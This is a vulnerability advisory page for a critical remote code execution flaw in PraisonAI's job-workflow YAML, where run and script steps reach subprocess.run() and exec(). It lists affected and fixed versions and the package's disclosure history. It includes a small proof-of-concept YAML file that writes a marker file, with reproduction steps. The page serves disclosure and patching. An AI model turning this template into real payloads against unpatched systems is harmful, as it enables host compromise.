PraisonAI has critical RCE via `type: job` workflow YAML
praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in job_workflow.py.
This supports:
run:→ shell command execution viasubprocess.run()script:→ inline Python execution viaexec()python:→ arbitrary Python script execution
A malicious YAML file can execute arbitrary host commands.
Affected Code
- workflow.py →
action_run() - job_workflow.py →
_exec_shell(),_exec_inline_python(),_exec_python_script()
PoC
Create exploit.yaml:
type: job
name: exploit
steps:
- name: write-file
run: python -c "open('pwned.txt','w').write('owned')"
Run:
praisonai workflow run exploit.yaml
Reproduction Steps
- Save the YAML above as
exploit.yaml. - Execute
praisonai workflow run exploit.yaml. - Confirm
pwned.txtappears in the working directory.
Impact
Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.
Reporter: Lakshmikanthan K (letchupkt)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonai | < 4.5.139 | 4.5.139 |
| Python (PyPI) | praisonaiagents | < 1.5.140 | 1.5.140 |
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vc46-vw85-3wvm
- https://nvd.nist.gov/vuln/detail/CVE-2026-40288
- https://github.com/MervinPraison/PraisonAI
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.139
- https://pypi.org/project/praisonaiagents
- https://github.com/advisories/GHSA-vc46-vw85-3wvm
- https://pypi.org/project/praisonai
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-78, CWE-94- Platform
- Python (PyPI)
- Package
praisonai, praisonaiagents- Disclosed
- 10.04.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-488 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-vc46-vw85-3wvm - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-477 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: praisonai
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 104
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 27
- High 60
- Medium 17
Disclosures per year
- 2026: 104
-
PraisonAI has critical RCE via `type: job` workflow YAML this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.